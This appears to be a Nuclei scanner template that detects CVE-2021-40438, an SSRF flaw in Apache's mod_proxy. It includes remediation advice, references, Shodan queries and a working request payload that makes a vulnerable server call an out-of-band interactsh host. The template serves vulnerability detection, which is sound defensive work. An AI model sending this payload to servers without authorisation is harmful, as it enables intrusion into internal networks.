47 lines
1.7 KiB
YAML
47 lines
1.7 KiB
YAML
id: CVE-2021-40438
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info:
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name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
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author: pdteam
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severity: critical
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description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
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remediation: Upgrade to Apache version 2.4.49 or later.
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reference:
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- https://firzen.de/building-a-poc-for-cve-2021-40438
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- https://httpd.apache.org/security/vulnerabilities_24.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
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- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
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- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9
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cve-id: CVE-2021-40438
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cwe-id: CWE-918
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epss-score: 0.97446
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epss-percentile: 0.99948
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cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: apache
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product: http_server
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shodan-query:
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- cpe:"cpe:2.3:a:apache:http_server"
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- apache 2.4.49
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tags: cve2021,cve,ssrf,apache,mod-proxy,kev
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http:
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- method: GET
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path:
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- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'
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host-redirects: true
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max-redirects: 2
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matchers:
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- type: dsl
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dsl:
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- 'contains_all(header, "X-Interactsh-Version", "Server: oast")'
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- "!contains(body, '<h1> Interactsh Server </h1>')"
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condition: and
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# digest: 490a00463044022012b2d2cc162a3ba9d6713a4ce4087a900e4b57689a0db634d050d4bb356f5957022068daa63c465b5791d98d139d49fec572590d775ac144a63277c51b8a6688794a:922c64590222798bb761d5b6d8e72950 |